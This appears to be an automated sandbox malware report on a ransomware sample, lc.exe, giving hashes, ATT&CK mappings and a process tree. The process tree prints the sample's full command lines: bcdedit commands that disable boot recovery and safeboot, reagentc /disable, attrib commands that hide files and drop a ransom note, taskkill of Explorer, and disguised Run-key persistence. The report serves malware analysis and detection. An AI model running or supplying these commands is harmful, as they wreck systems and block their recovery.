5489f7aad06fa13e06b28630114e75828464987112aa824bbbf7e8189db7067c

Analysis

max time kernel
149s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 19:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lc.exe
Size 6.6MB
Sample261024-xywvhsff27
SHA256 5489f7aad06fa13e06b28630114e75828464987112aa824bbbf7e8189db7067c
MD5 f3788b1b2de44d41069eb90a980b8438
SHA1 db14903e1e7804d245eafaa5d392ce40cf482f2a
SHA512 2fac5b894dfd6ceba8762d0a14555dc291110d095649eaf829f2118d4e6da3181a7b3783ede5495ecf335eef6ccd3c40376840971821f03d459f89ad9b9026e5
SSDEEP 196608:uJlPUTc/mfXbfshtsH/hyQGjo6vdzPBb:uJlarfjH/XGU6vp
TLSH
T164663356F3D3C106C42FAE354AB1D6E143B2F8146F62C71B3995BA9FAC37B908914683
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution persistence ransomware

Malware Config

Signatures

Modifies boot configuration data using bcdedit 1 TTPs 24 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2236	bcdedit.exe
3468	bcdedit.exe
4308	bcdedit.exe
5276	bcdedit.exe
6064	bcdedit.exe
2944	bcdedit.exe
5984	bcdedit.exe
1392	bcdedit.exe
5460	bcdedit.exe
5536	bcdedit.exe
992	bcdedit.exe
4396	bcdedit.exe
1184	bcdedit.exe
3236	bcdedit.exe
5688	bcdedit.exe
4464	bcdedit.exe
5520	bcdedit.exe
5220	bcdedit.exe
3392	bcdedit.exe
1812	bcdedit.exe
3052	bcdedit.exe
3020	bcdedit.exe
5032	bcdedit.exe
1776	bcdedit.exe

Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lc.exe\" -startup"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\lc.exe\""	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	lc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	lc.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2172	cmd.exe
2312	cmd.exe
4144	cmd.exe
5084	cmd.exe
684	cmd.exe
2224	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2868	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	lc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	lc.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1996	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4156	lc.exe
4156	lc.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	lc.exe
Token: 33	4384	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4384	AUDIODG.EXE
Token: SeSystemEnvironmentPrivilege	6096	svchost.exe
Token: SeDebugPrivilege	1996	taskkill.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 2172	4156	lc.exe	90
PID 4156 wrote to memory of 2312	4156	lc.exe	91
PID 4156 wrote to memory of 5084	4156	lc.exe	92
PID 4156 wrote to memory of 4144	4156	lc.exe	93
PID 4156 wrote to memory of 2224	4156	lc.exe	94
PID 4156 wrote to memory of 684	4156	lc.exe	95
PID 4156 wrote to memory of 1996	4156	lc.exe	96
PID 4156 wrote to memory of 3572	4156	lc.exe	97
PID 4156 wrote to memory of 2868	4156	lc.exe	98
PID 2868 wrote to memory of 2236	2868	cmd.exe	120
PID 2868 wrote to memory of 3468	2868	cmd.exe	122
PID 2868 wrote to memory of 4308	2868	cmd.exe	124
PID 2868 wrote to memory of 5276	2868	cmd.exe	125
PID 2868 wrote to memory of 6064	2868	cmd.exe	126
PID 2868 wrote to memory of 2944	2868	cmd.exe	127
PID 2868 wrote to memory of 1776	2868	cmd.exe	128
PID 2868 wrote to memory of 5032	2868	cmd.exe	129
PID 2868 wrote to memory of 3020	2868	cmd.exe	130
PID 2868 wrote to memory of 3052	2868	cmd.exe	131
PID 2868 wrote to memory of 5984	2868	cmd.exe	132
PID 2868 wrote to memory of 1392	2868	cmd.exe	133
PID 2868 wrote to memory of 1812	2868	cmd.exe	134
PID 2868 wrote to memory of 5460	2868	cmd.exe	135
PID 2868 wrote to memory of 3392	2868	cmd.exe	136
PID 2868 wrote to memory of 5220	2868	cmd.exe	137
PID 2868 wrote to memory of 5536	2868	cmd.exe	138
PID 2868 wrote to memory of 5520	2868	cmd.exe	139
PID 2868 wrote to memory of 4464	2868	cmd.exe	140
PID 2868 wrote to memory of 5688	2868	cmd.exe	141
PID 2868 wrote to memory of 992	2868	cmd.exe	142
PID 2868 wrote to memory of 4396	2868	cmd.exe	143
PID 2868 wrote to memory of 3236	2868	cmd.exe	144
PID 2868 wrote to memory of 1184	2868	cmd.exe	145

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe"
1⤵
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:5084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4144
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2224
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:684
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1996
- C:\Windows\SYSTEM32\reagentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {default} timeout 0 & bcdedit.exe /set {default} advancedoptions no & bcdedit.exe /set {default} optionsedit no & bcdedit.exe /set {default} debug no & bcdedit.exe /set {default} bootdebug no & bcdedit.exe /set {default} bootlog no & bcdedit.exe /set {default} vga no & bcdedit.exe /set {default} basevideo no & bcdedit.exe /deletevalue {default} safeboot & bcdedit.exe /set {default} nointegritychecks no & bcdedit.exe /set {default} testsigning no & bcdedit.exe /set {default} disableelamdrivers no & bcdedit.exe /set {current} recoveryenabled no & bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {current} debug no & bcdedit.exe /set {current} bootlog no & bcdedit.exe /set {current} vga no & bcdedit.exe /set {current} basevideo no & bcdedit.exe /deletevalue {current} safeboot & bcdedit.exe /set {current} nointegritychecks no & bcdedit.exe /set {current} testsigning no & bcdedit.exe /set {current} disableelamdrivers no
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2868
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2236
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3468
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} timeout 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4308
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} advancedoptions no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5276
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} optionsedit no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6064
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} debug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2944
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootdebug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1776
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} bootlog no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5032
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} vga no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3020
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} basevideo no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3052
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /deletevalue {default} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5984
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} nointegritychecks no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1392
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} testsigning no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1812
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {default} disableelamdrivers no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5460
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3392
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5220
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} debug no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5536
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} bootlog no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5520
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} vga no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4464
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} basevideo no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5688
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:992
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} nointegritychecks no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4396
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} testsigning no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3236
- - C:\Windows\system32\bcdedit.exe
    bcdedit.exe /set {current} disableelamdrivers no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1184

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x0000000000000494
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6096

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe"
1⤵
PID:3876

C:\Users\Admin\AppData\Local\Temp\lc.exe
"C:\Users\Admin\AppData\Local\Temp\lc.exe" -startup
1⤵
PID:8

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4156-0-0x00007FFF40EBF000-0x00007FFF40EC0000-memory.dmp

Download

memory/4156-1-0x0000025301450000-0x0000025301AF0000-memory.dmp

Download

memory/4156-2-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-3-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-4-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-5-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-6-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-7-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-8-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-10-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-11-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-12-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-13-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-19-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-20-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-21-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download

memory/4156-22-0x00007FFF40D30000-0x00007FFF416D4000-memory.dmp

Download